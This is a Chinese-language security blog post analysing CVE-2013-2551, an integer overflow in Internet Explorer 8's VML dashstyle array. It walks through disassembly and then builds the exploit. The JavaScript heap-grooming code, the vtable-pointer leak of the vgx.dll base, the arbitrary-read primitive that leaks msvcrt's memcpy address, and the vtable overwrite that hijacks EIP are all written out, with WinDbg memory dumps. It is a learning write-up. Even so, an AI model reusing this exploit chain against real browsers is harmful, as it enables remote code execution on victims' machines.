09月04, 2014

Advanced Exploitation Technology-Analyze

作者:tedjoy
微博:http://weibo.com/u/2728536082

自我介绍:

作为安全界的新人+菜鸟,最近一直在学习分析各种漏洞利用技巧,所以便有了下文。主要是为了给自己留下个总结,同时也可以跟像我一样对网络安全感兴趣的同学分享下自己的学习心得!本人才疏学浅,若有不对的地方还望大神们多多指教,再此感激不尽!

概述:

漏洞:cve-2013-2551

系统:win7 + IE8 无补丁

主要内容:分析如何绕过ASLR,泄露MSVCRT.DLL基址;控制EIP

我们废话少说,开始正题

漏洞成因简述:

该漏洞是国外“网络军火商”VUPEN发现的,并在2013年的Pwn2Own上用来攻克win8 + IE10,可以在这里查看VUPEN的blog,可以在这里下载4B5F5F4B大牛分享的poc。

先在这里简单分析下漏洞成因,具体的大家可以去VUPEN的blog自己看看。

VML实现了很多形状标签的子元素,其中有一个 Stroke 子元素就是有问题的元素,它有个 dashstyle的属性,我们可以对该属性赋值,代码如下:

<v:oval>

<v:stroke dashstyle=”2 2 2 0 2 2 2 0″/>

</v:oval>

当然也可以用javascript在我们需要的时候对 dashstyle 进行动态赋值:

<v:oval>

<v:stroke id=”vml1″>

</v:oval>

var vml1 = document.getElementById(“vml1”);

vml1.dashstyle = “11 12 13 15”;

由于篇幅关系,我在这里只叙述一下最重要的地方。

在执行

vml1.dashstyle = “11 12 13 15”;

这条js代码的时候,在vgx.dll中的实现过程中有几步如下:

首先会在内存中申请0x10字节的空间,存放COALineDashStyle对象,代码如下(以下所有汇编代码的地址包括部分实现代码,由于版本不同可能会不同,但逻辑基本相同):

.text:00485BAD; struct COALineDashStyle *__thiscall COAShapeProg::GetOALineDashStyle()

.text:00485BAD mov edi, edi

……

.text:00485BBE push 101h ; int

.text:00485BC3 push 10h ; Size

.text:00485BC5 call operator new(uint,int)

.text:00485BCA test eax, eax

.text:00485BCC pop ecx

.text:00485BCD pop ecx

.text:00485BCE jz short loc_485BDD

.text:00485BD0 push [ebp+arg_0] ; struct IInternalPeer *

.text:00485BD3 mov ecx, eax ; this

.text:00485BD5 push esi ; struct COAShapeProg *

.text:00485BD6 call COALineDashStyle::COALineDashStyle()

接着会开辟内存来存放赋值给 dashstyle 属性的数组(在内存中是ORG对象),在这里关心的是该数组所在的内存空间,而不是ORG对象所在的空间,具体原因在后面详细解释

现在在看下COALineDashStyle 对象在的方法:

1

其中有个方法是get_array(),我们来看下他的实现:

.text:00488C5E ; int32 stdcall COALineDashStyle::get_array()

.text:00488C5E mov edi, edi

.text:00488C60 push ebp

……

.text:00488CCB :

.text:00488CCB mov ecx, [esi+4] ; this

.text:00488CCE push edi ; struct IInternalPeer *

.text:00488CCF call COAShapeProg::GetOALineDashStyleArray()

这里会获取一个GetOALineDashStyleArray 对象,我们在来看看这个对象是怎么生成的,进入该函数:

.text:0047D779 ; int32 stdcall COALineDashStyle::get_presetStyle()

.text:00485BF5 mov edi, edi

.text:00485BF7 push ebp

.text:00485BF8 mov ebp, esp

……

.text:00485C06 push 101h ; int

.text:00485C0B push 10h ; Size

.text:00485C0D call operator new(uint,int)

.text:00485C12 test eax, eax

.text:00485C14 pop ecx

.text:00485C15 pop ecx

.text:00485C16 jz short loc_485C25

.text:00485C18 push [ebp+arg_0]

.text:00485C1B mov ecx, eax

.text:00485C1D push esi

.text:00485C1E call COALineDashStyleArray::COALineDashStyleArray()

由以上代码可知GetOALineDashStyleArray对象的空间大小也是0x10字节。这里是不是有点什么 :)

以上说了这么多,其实都没有在说漏洞触发的原因,当然肯定是非常有用的正如我前面所说,接下来再看漏洞是如何触发的,触发漏洞代码如下:

vml1.dashstyle.array.length = 0 – 1;

这里会因为在实现的时候的bug造成整数溢出,具体的在VUPEN的blog上有详细介绍,我就在这里解释下最关键的地方,在对dashstyle.array.length 属性赋值的时候,会经过一系列操作,大概过程是会判断原来的array 长度和预期的(新赋值的)长度,本意是如果原长度小于新长度就会再开辟内存空间对array 进行扩展,但是。。。人生中最精彩的就是这个但是了!!!

但是由于实现时的bug,当我们对array.length 赋值为一个负数(0xFFFFFFFF)时,会被直接赋值给array.length ,但是array.length 的定义又是一个 unsigned short,并且在判断的时候会被判断为原长度大于新长度所以不会开辟新的空间,关键代码如下(这部分代码的实现和VUPEN的不同,但逻辑一样):

.text:0047DB3E call dword ptr [eax] ; 返回 ORG对象的地址

.text:0047DB40 mov eax, [ebp+this] ; eax 指向ORG对象

.text:0047DB43 test eax, eax

.text:0047DB45 jz short loc_47DBB8

.text:0047DB47 mov ecx, [eax]

.text:0047DB49 push eax

.text:0047DB4A call dword ptr [ecx+2Ch] ; 返回数组的长度

.text:0047DB4D mov esi, [ebp+length]

.text:0047DB50 cmp eax, esi ; eax=ORG数组对象的长度,esi=要赋值的新长度0xFFFFFFFF

.text:0047DB52 jge short loc_47DBA9 ;跳走触发bug,不跳就会开辟新空间扩展数组

.text:0047DB54 push 101h ; int

.text:0047DB59 sub esi, eax

.text:0047DB5B xor ecx, ecx

.text:0047DB5D push 4

.text:0047DB5F pop edx

.text:0047DB60 mov eax, esi

.text:0047DB62 mul edx

.text:0047DB64 seto cl

.text:0047DB67 neg ecx

.text:0047DB69 or ecx, eax

.text:0047DB6B push ecx ; Size

.text:0047DB6C operator new(uint,int)

……

.text:0047DBA9 loc_47DBA9:

.text:0047DBA9 mov ecx, [ebp+this]

.text:0047DBAC mov edx, [ecx]

.text:0047DBAE sub eax, esi

.text:0047DBB0 push eax

.text:0047DBB1 push esi

.text:0047DBB2 push ecx

.text:0047DBB3 call dword ptr [edx+28h] ; 未开辟空间,直接修改长度

所有现在就可以越界访问了!!!

Exploit:

泄露vgx.dll地址:

对于这种类型的神洞,利用思路一般都是先申请大量和漏洞对象相同大小的其他对象,然后释放其中的奇数对象,然后再申请漏洞对象,让其分配这些对象的中间如下:

其他对象

漏洞对象

其他对象

NULL

其他对象

再触发漏洞,越界访问,读出下一个对象的虚表地址,然后就可以泄露该对象虚表所在的DLL的基址了,最后再修改虚表指针,指向我们已经控制的内存(通过heap spraying)区域,当调用该对象虚函数时就可以控制EIP了。

VUPEN的blog里提到了COAShape::get__anchorRect() 方法会返回COAReturnedPointsForAnchor 对象,大小为0x10字节,如果和精心构造的ORG数组一起就能完成上面的内存布局,但是我在操作的时候怎么都不能将2对象紧密连在一起,代码如下(没有释放奇数堆块,效果是一样的):

for (var i = 0; i < 0x1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
if (i == 0xb00 ) {
vml1.dashstyle = “11 12 13 15”;
};
}

在COAReturnedPointsForAnchor 对象和ORG对象之间总有其他对象(后来才发现这是COAShape对象,它的大小也固定为0x10字节,越界访问该对象也是可以的,不过这是后话了),对于我这种有强迫症的人来说这是不可容忍的,为了更具有“稳定性”,于是我就想到了上文提到的2个对象COALineDashStyle和GetOALineDashStyleArray,因为在每次生成ORG数组的时候都会按照上面提到的流程,在内存开辟3段空间来存放COALineDashStyle,ORG, GetOALineDashStyleArray,而且COALineDashStyle和GetOALineDashStyleArray得大小都为0x10字节,所以我可以让ORG数组大小也为0x10字节,这样就能让他们在内存空间依次连续。当然首先我先申请大量的COAReturnedPointsForAnchor,简单来说就是为了消耗内存碎片,确保关键对象能在内存连续布局,代码如下:

for (var i = 0; i < 0x1000; i++) {
a[i] = document.getElementById(“rect” + i.toString())._anchorRect;
}
vml1.dashstyle = “11 12 13 15”;

经测试后发现确实可行,内存布局如下:

COALineDashStyle对象

ORG对象

COALineDashStyleArray对象

内存布局如下:

0:005> dd /c 2 06d112d0

06d112d0 75f3e702 88000000

06d112d8 6c18482c 06d230e0

06d112e0 00000003 00000000

06d112e8 75f3e705 88000000

06d112f0 0000000b 0000000c

06d112f8 0000000d 0000000f

06d11300 75f3e738 88000000

06d11308 6c184964 06d230e0

06d11310 00000003 00000000

Red: COALineDashStyle

Green:ORG数组

Purple: GetOALineDashStyleArray 其中Red区域便是虚表指针

接下来触发漏洞,获取虚表地址,减去偏移,得到vgx.dll基址,代码如下:

var length_orig = vml1.dashstyle.array.length;

vml1.dashstyle.array.length = 0 – 1;

//alert(“tedjoy”);

var objAddress = vml1.dashstyle.array.item(0x6);

var baseAddres = objAddress – 0x84964;

但是紧接着发现,仅仅通过vgx很难构造出完整的rop,所以我们还需要实现任意地址读写,其实任意地址读就够了,泄漏出msvcrt.dll基址。

任意地址读写,泄露MSVCRT.DLL基址:

基本思路还是和前面的一样,只是用的对象有所不同,VUPEN’s blog 上提到COARuntime Style对象,该对象有几个方法如下:

其中get_rotation()方法,会调用CVMLShape::GetRTSInfo(),GetRTSInfo()再调用CParserTag::GetRTSInfo()函数申请0xac字节大小的空间(这里和VUPEN说的有点偏差,可能是他们笔误,0xac字节的内存并不是COARuntime Style对象),实际大小为0xb0,在第一次调用get_marginLeft时也会申请0xac字节内存。代码如下:

2

.text:00480969 ; int32 stdcall COARuntimeStyle::get_rotation()

.text:00480969 mov edi, edi

.text:0048096B push ebp

.text:0048096C mov ebp, esp

……

.text:004809BC call CVMLShape::GetRTSInfo(void)

.text:004809C1 cmp eax, ebx

.text:004809C3 jz short loc_480A07

.text:00467B40 ; struct CRuntimeStyleInfo *__thiscall CVMLShape::GetRTSInfo()

.text:00467B40 mov edi, edi

.text:00467B42 push ebx

.text:00467B43 mov ebx, ecx

.text:00467B45 call CVMLShape::GetShapeView(void)

.text:00467B4A test eax, eax

.text:00467B4C jz short loc_467B80

.text:00467B4E cmp dword ptr [eax+74h], 0

.text:00467B52 jz short loc_467B80

.text:00467B54 mov ecx, [eax+74h]

.text:00467B57 mov eax, [ecx]

.text:00467B59 push edi

.text:00467B5A call dword ptr [eax+18h]

调用CParserTag::GetRTSInfo(),申请0xAC字节内存

重点是其中的get_marginLeft()方法,该方法在第一次被调用时如果没有事先申请0xac字节的内存空间就会自己申请,然后再读取0xAC字节内存块便宜0x58处的指针所指向的字符串(任意地制读),代码如下:

.text:004801DA ; int32 stdcall COARuntimeStyle::get_marginLeft()

.text:004801DA mov edi, edi

.text:004801DC push ebp

.text:004801DD mov ebp, esp

.text:0048022C mov ecx, esi ; this

.text:0048022E jnz short loc_48025E

.text:00480230 call CVMLShape::GetRTSInfo(void);会判断是否申请0xAC字节内存,返回0xAC内存块的首地址

.text:00480235 cmp eax, ebx

.text:00480237 jz short loc_480255

.text:00480239 mov ecx, [eax+58h];偏移0x58

.text:0048023C cmp ecx, ebx

.text:0048023E jz short loc_48024D

.text:00480240 push ecx ; unsigned __int16 *

.text:00480241 call GelHost::OASysAllocString();复制指针指向的字符串

struct CRuntimeStyleInfo __thiscall CParserTag::GetRTSInfo(CParserTag this){
CParserTag v1; // edi@1
void
v2; // eax@2
v1 = this;
if ( !((_DWORD )this + 12) ){
v2 = operator new(0xACu);
if ( v2 ){
((_BYTE )v2 + 3) &= 0xFEu;
……
}
else{v2 = 0;}
((_DWORD )v1 + 0xC) = v2;
if ( !v2 )
return 0;
memset(v2, 0, 0xACu);
}
return (struct CRuntimeStyleInfo )((_DWORD *)v1 + 12);
}

所以可以通过精心构造ORG数组的大小来布局内存,使其效果如下图所示:

0xb0内存空间

ORG数组

0xb0内存空间

JS代码如下:

for (var i = 0; i < 0x400; i++) {
b[i] = document.getElementById(“rect” + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
b[i].rotation;
if (i == 0x300) {
vml2.dashstyle = “1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 38 39 40 41 42 43 44”
}
}

内存布局如下:

0:005> dd 06b948e0

06b948e0 00000001 00000002 00000003 00000004

06b948f0 00000005 00000006 00000007 00000008

06b94900 00000009 0000000a 0000000b 0000000c

06b94910 0000000d 0000000e 0000000f 00000010

06b94920 00000011 00000012 00000013 00000014

06b94930 00000015 00000016 00000017 00000018

06b94940 00000019 0000001a 0000001b 0000001c

06b94950 0000001d 0000001e 0000001f 00000020

06b94960 00000021 00000022 00000023 00000024

06b94970 00000025 00000026 00000027 00000028

06b94980 00000029 0000002a 0000002b 0000002c

06b94990 1552cc54 8c000000 01400018 00000000

06b949a0 00000000 00000000 00000000 00000000

06b949b0 00000000 00000000 00000000 00000000

06b949c0 00000000 00000000 00000000 00000000

06b949d0 00000000 00000000 00000000 00000000

06b949e0 00000000 00000000 00000000 00000000

06b949f0 00000000 00000000 00000000 00000000

06b94a00 00000000 00000000 00000000 00000000

06b94a10 00000000 00000000 00000000 00000000

06b94a20 00000000 00000000 00000000 00000000

06b94a30 00000000 00000000 00000000 00000000

06b94a40 00000001 00000000 1552cc2f 8c000000

Red: ORG数组

Green: 0xb0内存块,其中红色部分将保存字符串指针

所以我们现在只需要触发漏洞修改偏移0x58处的值就可以实现任意地址读写,泄露MSVCRT.DLL基址 :)

JS代码如下:

//memcpy address in import
var memAddress = baseAddres + 0x1014;
var length_orig_2 = vml2.dashstyle.array.length;
vml2.dashstyle.array.length = 0 – 1;
for (var i=0; i<0x400; i++){
b[i].marginLeft = “tedjoy”;
marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml2.dashstyle.array.item(0x2E+0x16) = memAddress;
//leak msvcrt.dll base address
var leak = b[i].marginLeft;
alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ).toString(16) );
vml2.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml2.dashstyle.array.length = length_orig;
break;
}
}

得到的memcpy()函数地址:

3

控制EIP:

接下来就可以通过得到的memcpy()函数的地址得到MSVCRT.DLL的基址,然后构造ROP。

最后把之前的GetOALineDashStyleArray 对象的虚表指针修改指向通过heap spray已经控制了的内存空间。

JS代码如下:

vml1.dashstyle.array.item(0x6) = 0x0c0c0c0c;

接下来就会稳定的在如下所示的地方crash(因为没有heap spraying):

6addd9f2 6809040000 push 409h

6addd9f7 51 push ecx

6addd9f8 8bce mov ecx,esi

6addd9fa e83e000000 call jscript!IDispatchInvoke (6addda3d)

6addd9ff 8b16 mov edx,dword ptr [esi] ;edx=0x0c0c0c0c

6addda01 894510 mov dword ptr [ebp+10h],eax

6addda04 8b4208 mov eax, [edx+8] ds:0023:0c0c0c14=????????

6addda07 56 push esi

6addda08 ffd0 call eax

如果已经heap spray过,那就可以控制系统流程,执行ROP,绕过DEP执行任意代码

行文简陋,如有不对还望大神多多赐教! :P

本文链接:https://blogs.360.net/post/advanced-exploitation-technology-analyze.html

-- EOF --

Comments